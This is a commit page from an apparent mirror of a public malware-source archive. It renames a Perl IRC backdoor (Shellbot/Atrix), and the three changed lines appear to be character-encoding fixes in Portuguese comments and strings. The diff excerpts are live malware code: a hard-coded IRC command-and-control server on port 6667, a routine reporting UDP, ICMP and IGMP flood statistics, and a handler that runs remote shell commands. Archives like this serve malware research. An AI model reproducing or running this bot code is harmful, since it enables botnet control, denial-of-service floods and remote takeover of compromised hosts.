Mirrors/vxug-MalwareSourceCode
13
1
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-20 22:18:28 +00:00
Code Releases Activity

Rename Backdoor.Perl.Shellbot.a to Backdoor.Perl.Atrix.a

Browse Source
This commit is contained in:
vxunderground 2020-11-14 01:01:28 -06:00 committed by GitHub
parent 486cb664b8
commit d372ccc7e1
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 3 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

6
Perl/Backdoor.Perl.Shellbot.a → Perl/Backdoor.Perl.Atrix.a
View File

@ -27,7 +27,7 @@ my $ircname = "rox"; # User ID
chop (my $realname = `uname -a`); # Full Name #
#----------------------------------------------################################################
$servidor="irc.gigachat.net" unless $servidor; # Servidor de irc que vai ser usado #
# caso não seja especificado no argumento #
# caso não seja especificado no argumento #
#----------------------------------------------################################################
my $porta="6667"; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
@ -231,7 +231,7 @@ sub bfunc {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
}
@ -286,7 +286,7 @@ sub shell {
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Diertório inexistente!");
chdir("$1") || msg("$printl", "Diertório inexistente!");
return;
}
elsif ($pid = fork) {